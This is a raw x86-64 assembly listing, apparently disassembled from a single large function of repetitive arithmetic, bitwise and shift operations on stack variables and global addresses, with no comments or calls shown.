mov rax, qword [0x1401cd728]
mov rax, qword [rax]
mov qword [rsp + 0x9068], rax
mov rax, qword [rsp + 0x8be8]
mov rcx, qword [rsp + 0x8e70]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8fc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8f18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e3c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4dc4], eax
mov eax, dword [0x1401cc01c]
mov dword [rsp + 0x4e54], eax
lea rax, [rsp + 0x1e5]
mov qword [0x1401cd758], rax
movsx eax, byte [rsp + 0x1e6]
mov rcx, qword [rsp + 0x8ca8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1dd], al
lea rax, [0x1401cc03c]
mov qword [rsp + 0x9070], rax
mov rax, qword [rsp + 0x8d48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8f80]
mov byte [rcx], al
movzx eax, word [rsp + 0x14dc]
mov word [rsp + 0x150c], ax
mov rax, qword [rsp + 0x8f48]
mov ecx, dword [0x1401cd720]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e50], eax
mov rax, qword [rsp + 0x8e70]
mov rcx, qword [rsp + 0x8be8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8fb0], rax
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov dword [rsp + 0x4e58], eax
mov rax, qword [rsp + 0x8c38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8bd0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d40]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8f30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14dc]
xor eax, ecx
mov word [0x1401cc044], ax
movzx eax, byte [rsp + 0x1ce]
mov byte [rsp + 0x1ed], al
mov rax, qword [rsp + 0x9038]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9070]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x14e4], ax
mov rax, qword [rsp + 0x8f40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1e6]
shl eax, cl
mov rcx, qword [rsp + 0x8f68]
mov byte [rcx], al
movsx eax, word [rsp + 0x1504]
mov rcx, qword [rsp + 0x8f30]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1464], ax
mov rax, qword [rsp + 0x8f18]
mov ecx, dword [rsp + 0x4dc4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8d08]
mov dword [rcx], eax
lea rax, [rsp + 0x8e20]
mov qword [rsp + 0x9078], rax
mov rax, qword [rsp + 0x9030]
mov ecx, dword [0x1401cd710]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4da0], eax
mov rax, qword [rsp + 0x8f98]
mov rcx, qword [rsp + 0x8ca0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e70], rax
movsx eax, byte [rsp + 0x1e3]
movsx ecx, byte [rsp + 0x121]
add eax, ecx
mov byte [0x1401cd717], al
lea rax, [0x1401cc040]
mov qword [rsp + 0x9080], rax
mov rax, qword [rsp + 0x8fa0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8f40]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1e3], al
lea rax, [rsp + 0x1db]
mov qword [rsp + 0x9088], rax
mov rax, qword [rsp + 0x8ed8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1500]
and eax, ecx
mov rcx, qword [rsp + 0x8fc8]
mov word [rcx], ax
mov eax, dword [rsp + 0x4e3c]
mov dword [rsp + 0x4e5c], eax
mov rax, qword [rsp + 0x9060]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d18]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9048]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8fd8]
mov rcx, qword [rsp + 0x8fb0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8f20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9018]
mov rax, qword [rax]
mov qword [rsp + 0x9090], rax
movzx eax, byte [rsp + 0x180]
mov byte [0x1401cd725], al
mov rax, qword [rsp + 0x8f40]
movsx eax, byte [rax]
mov rcx, qword [0x1401cd758]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1dc], al
lea rax, [rsp + 0x150c]
mov qword [rsp + 0x9098], rax
movzx eax, word [rsp + 0x14f0]
mov word [rsp + 0x14ec], ax
mov rax, qword [rsp + 0x8c50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ea]
or eax, ecx
mov rcx, qword [rsp + 0x8d48]
mov byte [rcx], al
lea rax, [0x1401cc010]
mov qword [rsp + 0x90a0], rax
mov eax, dword [rsp + 0x4da0]
mov rcx, qword [rsp + 0x8de0]
mov qword [rsp + 0x90a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x90a8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x9060]
mov dword [rcx], eax
lea rax, [rsp + 0x4e3c]
mov qword [rsp + 0x90b0], rax
mov rax, qword [rsp + 0x9078]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9068]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8f40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1dd]
sar eax, cl
mov byte [0x1401cc00b], al
movsx eax, word [rsp + 0x11f4]
mov rcx, qword [0x1401cd740]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x14d0], ax
lea rax, [rsp + 0x14cc]
mov qword [rsp + 0x90b8], rax
movzx eax, byte [rsp + 0x1e9]
mov rcx, qword [rsp + 0x8d78]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1ea], al
movzx eax, word [rsp + 0x14f8]
mov word [rsp + 0x1510], ax
mov rax, qword [rsp + 0x8ee8]
mov rcx, qword [rsp + 0x8f18]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x90b0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4e54]
mov ecx, dword [rsp + 0x4de8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8de0]
mov dword [rcx], eax
lea rax, [rsp + 0x8f98]
mov qword [rsp + 0x90c0], rax
mov rax, qword [rsp + 0x8848]
mov rcx, qword [rsp + 0x9010]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9068], rax
mov rax, qword [rsp + 0x8d48]
movzx eax, byte [rax]
mov byte [rsp + 0x1ee], al
lea rax, [rsp + 0x1e5]
mov qword [0x1401cd760], rax
mov rax, qword [rsp + 0x8db8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x11f4]
add eax, ecx
mov rcx, qword [rsp + 0x8de8]
mov word [rcx], ax
lea rax, [rsp + 0x14e4]
mov qword [rsp + 0x90c8], rax
movzx eax, byte [rsp + 0xb2]
movzx ecx, byte [rsp + 0x1eb]
add eax, ecx
mov rcx, qword [rsp + 0x9058]
mov byte [rcx], al
mov rax, qword [rsp + 0x8f58]
mov rcx, qword [rsp + 0x8dd8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8be8], rax
lea rax, [rsp + 0x4cf0]
mov qword [rsp + 0x90d0], rax
mov rax, qword [rsp + 0x8c80]
mov ecx, dword [rsp + 0x4d18]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9048]
mov dword [rcx], eax
lea rax, [rsp + 0x9090]
mov qword [rsp + 0x90d8], rax
movsx eax, byte [rsp + 0x1e7]
mov rcx, qword [rsp + 0x8d00]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8cc0]
mov byte [rcx], al
lea rax, [rsp + 0x14f4]
mov qword [0x1401cd768], rax
movzx eax, word [rsp + 0x14f8]
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x14e4], ax
lea rax, [rsp + 0x1e9]
mov qword [rsp + 0x90e0], rax
movsx eax, word [rsp + 0x1464]
movsx ecx, word [rsp + 0x14c4]
xor eax, ecx
mov word [rsp + 0x14e0], ax
lea rax, [rsp + 0x4e3c]
mov qword [rsp + 0x90e8], rax
mov eax, dword [rsp + 0x4e58]
mov rcx, qword [rsp + 0x9048]
mov qword [rsp + 0x90f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x90f0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4e48], eax
mov rax, qword [rsp + 0x9018]
mov rcx, qword [rsp + 0x8bd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8ff8], rax
lea rax, [rsp + 0x8be8]
mov qword [rsp + 0x90f8], rax
mov rax, qword [rsp + 0x9028]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14c4]
imul eax, ecx
mov rcx, qword [rsp + 0x8de8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8db0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1e5]
and eax, ecx
mov byte [0x1401cd717], al
lea rax, [0x1401cc00b]
mov qword [rsp + 0x9100], rax
movzx eax, word [rsp + 0x14e4]
movzx ecx, word [rsp + 0x1508]
add eax, ecx
mov word [rsp + 0x14f8], ax
movzx eax, byte [rsp + 0x1e1]
mov rcx, qword [rsp + 0x8d48]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x90e0]
mov byte [rcx], al
lea rax, [0x1401cd710]
mov qword [rsp + 0x9108], rax
mov rax, qword [rsp + 0x8ca0]
mov rcx, qword [rsp + 0x8e00]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8ed0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e5c]
mov dword [rsp + 0x4e60], eax
mov rax, qword [rsp + 0x8d40]
mov rcx, qword [rsp + 0x8e20]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9090], rax
mov rax, qword [rsp + 0x8db8]
movzx eax, word [rax]
mov word [rsp + 0x1514], ax
lea rax, [rsp + 0x14fc]
mov qword [0x1401cd770], rax
movzx eax, byte [rsp + 0x1eb]
movzx ecx, byte [rsp + 0x1db]
sub eax, ecx
mov byte [rsp + 0x180], al
movsx eax, byte [rsp + 0x1e7]
movsx ecx, byte [rsp + 0x1e4]
sub eax, ecx
mov byte [rsp + 0x1e8], al
movzx eax, word [rsp + 0x1510]
mov word [rsp + 0x1518], ax
mov rax, qword [rsp + 0x8de8]
movsx eax, word [rax]
mov rcx, qword [0x1401cd740]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8d30]
mov word [rcx], ax
mov rax, qword [rsp + 0x9090]
mov qword [rsp + 0x9110], rax
mov rax, qword [rsp + 0x8ee8]
mov rcx, qword [rsp + 0x8f78]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4cf0], eax
mov rax, qword [rsp + 0x8f50]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8d18]
mov qword [rsp + 0x9118], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9118]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4e24], eax
mov rax, qword [rsp + 0x8ef0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8e00]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x84e0], rax
lea rax, [rsp + 0x1e0]
mov qword [0x1401cd778], rax
movsx eax, byte [rsp + 0x1e3]
movsx ecx, byte [rsp + 0x1e6]
xor eax, ecx
mov byte [rsp + 0x1de], al
mov rax, qword [rsp + 0x9038]
movzx eax, word [rax]
mov word [rsp + 0x151c], ax
mov rax, qword [rsp + 0x8fa0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ca8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8f68]
mov byte [rcx], al
movsx eax, word [rsp + 0x14c8]
mov rcx, qword [rsp + 0x9028]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14f0], ax
lea rax, [rsp + 0x4e5c]
mov qword [rsp + 0x9120], rax
mov rax, qword [rsp + 0x8ed0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8fb0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d10]
mov qword [rcx], rax
lea rax, [0x1401cc020]
mov qword [rsp + 0x9128], rax
mov rax, qword [rsp + 0x9060]
mov ecx, dword [rsp + 0x4e58]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4e44], eax
mov rax, qword [rsp + 0x8fb8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ea]
add eax, ecx
mov rcx, qword [0x1401cd748]
mov byte [rcx], al
mov rax, qword [0x1401cd738]
movzx eax, word [rax]
mov word [rsp + 0x1520], ax
movzx eax, word [rsp + 0x1520]
movzx ecx, word [rsp + 0x1518]
sub eax, ecx
mov word [rsp + 0x14fc], ax
movsx eax, word [rsp + 0x14e0]
movsx ecx, word [rsp + 0x14d0]
sub eax, ecx
mov rcx, qword [rsp + 0x9098]
mov word [rcx], ax
movzx eax, byte [0x1401cd725]
mov byte [rsp + 0x1ef], al
mov eax, dword [rsp + 0x4e4c]
mov ecx, dword [rsp + 0x4dc4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8f60]
mov dword [rcx], eax
lea rax, [rsp + 0x8bd0]
mov qword [rsp + 0x9130], rax
mov rax, qword [rsp + 0x9020]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f38]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8be8], rax
mov eax, dword [rsp + 0x4e58]
mov ecx, dword [rsp + 0x4e48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e54], eax
movsx eax, word [rsp + 0x14dc]
movsx ecx, word [0x1401cc044]
sub eax, ecx
mov word [0x1401cc048], ax
mov rax, qword [rsp + 0x8f40]
movzx eax, byte [rax]
mov byte [rsp + 0x1f0], al
movzx eax, word [rsp + 0x1508]
movzx ecx, word [rsp + 0x1518]
sub eax, ecx
mov word [rsp + 0x121c], ax
lea rax, [rsp + 0x1de]
mov qword [rsp + 0x9138], rax
movzx eax, byte [rsp + 0x1ec]
movzx ecx, byte [rsp + 0x1e1]
xor eax, ecx
mov rcx, qword [rsp + 0x90e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8fe0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9128]
mov qword [rsp + 0x9140], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9140]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9010], rax
mov rax, qword [rsp + 0x8be8]
mov qword [rsp + 0x9148], rax
mov eax, dword [rsp + 0x4e60]
mov ecx, dword [rsp + 0x4cf0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e3c], eax
mov eax, dword [rsp + 0x4d00]
mov dword [rsp + 0x4e64], eax
movzx eax, word [rsp + 0x14d4]
mov rcx, qword [rsp + 0x8f08]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x1401cd770]
mov word [rcx], ax
movsx eax, word [rsp + 0x14f4]
mov rcx, qword [rsp + 0x8f70]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8de8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ca8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1e3], al
movzx eax, byte [rsp + 0x1e1]
mov byte [rsp + 0x1f1], al
mov rax, qword [rsp + 0x8fb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9088]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8d78]
mov byte [rcx], al
lea rax, [rsp + 0x8f90]
mov qword [rsp + 0x9150], rax
mov rax, qword [0x1401cc028]
mov rcx, qword [rsp + 0x8be8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9148], rax
lea rax, [rsp + 0x4d18]
mov qword [rsp + 0x9158], rax
mov eax, dword [rsp + 0x4840]
mov ecx, dword [rsp + 0x4cf0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e5c], eax
lea rax, [rsp + 0x14cc]
mov qword [0x1401cd780], rax
mov rax, qword [rsp + 0x9028]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8f30]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14f4], ax
lea rax, [rsp + 0x1ec]
mov qword [rsp + 0x9160], rax
movsx eax, byte [rsp + 0x121]
movsx ecx, byte [rsp + 0x1dd]
sub eax, ecx
mov rcx, qword [rsp + 0x9100]
mov byte [rcx], al
movzx eax, byte [0x1401cc00b]
mov byte [rsp + 0x1f2], al
mov rax, qword [rsp + 0x8d40]
mov rcx, qword [rsp + 0x8fe0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8ff8], rax
mov rax, qword [rsp + 0x8df8]
mov rcx, qword [rsp + 0x8d08]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4dfc], eax
lea rax, [0x1401cc028]
mov qword [rsp + 0x9168], rax
mov eax, dword [rsp + 0x4da0]
mov rcx, qword [rsp + 0x8f50]
mov qword [rsp + 0x9170], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9170]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x9060]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f30]
movzx eax, word [rax]
mov word [0x1401cd788], ax
lea rax, [rsp + 0x1de]
mov qword [rsp + 0x9178], rax
mov rax, qword [rsp + 0x9080]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1508]
or eax, ecx
mov word [rsp + 0x14fc], ax
movsx eax, word [rsp + 0x14dc]
mov rcx, qword [rsp + 0x8fe8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x14f4], ax
lea rax, [0x1401cc018]
mov qword [rsp + 0x9180], rax
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x8c98]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9040], rax
mov rax, qword [rsp + 0x8e70]
mov qword [rsp + 0x9188], rax
mov rax, qword [rsp + 0x9048]
mov rcx, qword [rsp + 0x8c58]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x8de0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x90d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cd4], eax
movsx eax, byte [rsp + 0x1e8]
movsx ecx, byte [rsp + 0x1de]
add eax, ecx
mov byte [0x1401cd724], al
movsx eax, word [0x1401cc044]
movsx ecx, word [rsp + 0x11f4]
add eax, ecx
mov rcx, qword [rsp + 0x9098]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1e0]
movzx ecx, byte [rsp + 0x1db]
sub eax, ecx
mov rcx, qword [rsp + 0x8d78]
mov byte [rcx], al
lea rax, [0x1401cd725]
mov qword [rsp + 0x9190], rax
mov rax, qword [rsp + 0x9080]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8f08]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x14f8], ax
mov rax, qword [rsp + 0x9020]
mov rax, qword [rax]
mov qword [rsp + 0x9198], rax
mov rax, qword [rsp + 0x8c58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e40], eax
mov eax, dword [rsp + 0x4e3c]
mov ecx, dword [rsp + 0x4e50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cd4], eax
mov rax, qword [rsp + 0x9128]
mov rax, qword [rax]
mov qword [rsp + 0x91a0], rax
movzx eax, byte [rsp + 0x1ed]
mov rcx, qword [rsp + 0x8c50]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8fb8]
mov byte [rcx], al
lea rax, [rsp + 0x14e4]
mov qword [0x1401cd790], rax
mov rax, qword [rsp + 0x8fe8]
movzx eax, word [rax]
mov word [rsp + 0x1524], ax
mov rax, qword [rsp + 0x8f40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8db0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8c48]
mov byte [rcx], al
movsx eax, byte [rsp + 0x1f2]
movsx ecx, byte [rsp + 0x166]
shl eax, cl
mov byte [rsp + 0x1e4], al
mov rax, qword [rsp + 0x9090]
mov qword [rsp + 0x91a8], rax
mov rax, qword [rsp + 0x8de0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4de8]
sar eax, cl
mov dword [rsp + 0x4e58], eax
mov rax, qword [rsp + 0x8c60]
mov eax, dword [rax]
mov dword [rsp + 0x4e68], eax
mov rax, qword [rsp + 0x8e58]
mov rcx, qword [rsp + 0x8f98]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9188], rax
movzx eax, byte [rsp + 0x1e9]
mov rcx, qword [rsp + 0x9160]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1ed], al
lea rax, [rsp + 0x14c8]
mov qword [0x1401cd798], rax
lea rax, [rsp + 0x14d4]
mov qword [rsp + 0x91b0], rax
mov rax, qword [rsp + 0x8d00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1e3]
and eax, ecx
mov byte [rsp + 0x166], al
movzx eax, byte [rsp + 0x1ee]
mov byte [rsp + 0x1f3], al
mov rax, qword [rsp + 0x8d40]
mov rcx, qword [rsp + 0x8c38]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8848], rax
mov rax, qword [rsp + 0x8ed0]
mov rax, qword [rax]
mov qword [rsp + 0x91b8], rax
mov rax, qword [rsp + 0x8f78]
mov ecx, dword [rsp + 0x4cf0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4d54], eax
mov eax, dword [rsp + 0x4e40]
mov ecx, dword [rsp + 0x4d00]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c58]
mov dword [rcx], eax
lea rax, [rsp + 0x14d0]
mov qword [rsp + 0x91c0], rax
mov rax, qword [0x1401cd798]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8d30]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401cd798]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1db]
movzx ecx, byte [rsp + 0x1ef]
add eax, ecx
mov rcx, qword [rsp + 0x8d48]
mov byte [rcx], al
mov rax, qword [rsp + 0x8fa8]
movzx eax, byte [rax]
mov byte [rsp + 0x1f4], al
mov rax, qword [0x1401cd770]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1500]
and eax, ecx
mov word [rsp + 0x14d4], ax
mov rax, qword [rsp + 0x8f20]
mov rcx, qword [rsp + 0x8ef0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8f10]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9060]
mov ecx, dword [0x1401cc01c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4b18], eax
mov rax, qword [rsp + 0x8fe0]
mov rcx, qword [rsp + 0x8ff8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9130]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e50]
mov dword [rsp + 0x4e6c], eax
movsx eax, byte [rsp + 0x1e4]
mov rcx, qword [rsp + 0x8c48]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9178]
mov byte [rcx], al
mov rax, qword [rsp + 0x91b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8fc8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x1401cd780]
mov word [rcx], ax
movzx eax, word [rsp + 0x14fc]
movzx ecx, word [0x1401cc018]
xor eax, ecx
mov word [rsp + 0x14e4], ax
movzx eax, byte [rsp + 0x1e1]
mov byte [rsp + 0x1f5], al
mov rax, qword [rsp + 0x9028]
movsx eax, word [rax]
cdq
mov ecx, 0x1359
idiv ecx
mov word [rsp + 0x14e8], ax
lea rax, [rsp + 0x1520]
mov qword [rsp + 0x91c8], rax
mov rax, qword [rsp + 0x9078]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9040]
sar rax, cl
mov rcx, qword [rsp + 0x8c38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x90d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4dd8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e60], eax
lea rax, [rsp + 0x4e58]
mov qword [rsp + 0x91d0], rax
mov rax, qword [rsp + 0x8e58]
mov rcx, qword [rsp + 0x8f20]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9148], rax
lea rax, [rsp + 0x14dc]
mov qword [0x1401cd7a0], rax
lea rax, [rsp + 0x1f1]
mov qword [rsp + 0x91d8], rax
mov rax, qword [rsp + 0x9138]
movsx eax, byte [rax]
movsx ecx, byte [0x1401cc00a]
sub eax, ecx
mov rcx, qword [rsp + 0x8f68]
mov byte [rcx], al
lea rax, [rsp + 0x1e1]
mov qword [rsp + 0x91e0], rax
movsx eax, word [rsp + 0x1504]
mov rcx, qword [rsp + 0x8db8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x11f4], ax
mov rax, qword [rsp + 0x8d58]
mov rcx, qword [rsp + 0x84e0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8ca0], rax
mov eax, dword [rsp + 0x4e24]
mov dword [rsp + 0x4e70], eax
mov rax, qword [rsp + 0x90b0]
mov rcx, qword [rsp + 0x8f48]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8f18]
mov dword [rcx], eax
lea rax, [rsp + 0x8f28]
mov qword [rsp + 0x91e8], rax
mov rax, qword [rsp + 0x8d50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x91c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc030], ax
mov rax, qword [rsp + 0x9050]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ee]
and eax, ecx
mov rcx, qword [rsp + 0x8f80]
mov byte [rcx], al
mov rax, qword [rsp + 0x9098]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x91c0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8db8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8fa8]
movzx eax, byte [rax]
mov byte [rsp + 0x1f6], al
movsx eax, byte [rsp + 0x121]
mov rcx, qword [rsp + 0x8cc0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1f0], al
lea rax, [rsp + 0x4dd8]
mov qword [rsp + 0x91f0], rax
mov rax, qword [rsp + 0x8f50]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4d00]
sar eax, cl
mov dword [rsp + 0x4e70], eax
mov rax, qword [rsp + 0x9148]
mov rcx, qword [rsp + 0x8d10]
mov qword [rsp + 0x91f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x91f8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x8f20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8d40]
mov rax, qword [rax]
mov qword [rsp + 0x9200], rax
lea rax, [rsp + 0x1e5]
mov qword [0x1401cd7a8], rax
movsx eax, word [rsp + 0x1464]
movsx ecx, word [rsp + 0x11f4]
xor eax, ecx
mov word [rsp + 0x14dc], ax
movzx eax, word [rsp + 0x121c]
mov word [rsp + 0x1528], ax
mov rax, qword [rsp + 0x91b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9180]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x151c], ax
lea rax, [rsp + 0x1ed]
mov qword [rsp + 0x9208], rax
mov rax, qword [rsp + 0x8bd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9068]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x91a0], rax
mov rax, qword [rsp + 0x9108]
mov rcx, qword [rsp + 0x8de0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8c80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f58]
mov qword [rsp + 0x9210], rax
mov rax, qword [rsp + 0x8f78]
mov ecx, dword [rsp + 0x4e50]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8f18]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1ec]
mov rcx, qword [rsp + 0x91d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cc00c], al
lea rax, [rsp + 0x1dd]
mov qword [rsp + 0x9218], rax
mov rax, qword [rsp + 0x91c0]
movsx eax, word [rax]
mov rcx, qword [0x1401cd7a0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1524], ax
movzx eax, word [rsp + 0x1528]
movzx ecx, word [rsp + 0x1520]
sub eax, ecx
mov word [rsp + 0x14e4], ax
mov rax, qword [rsp + 0x8d00]
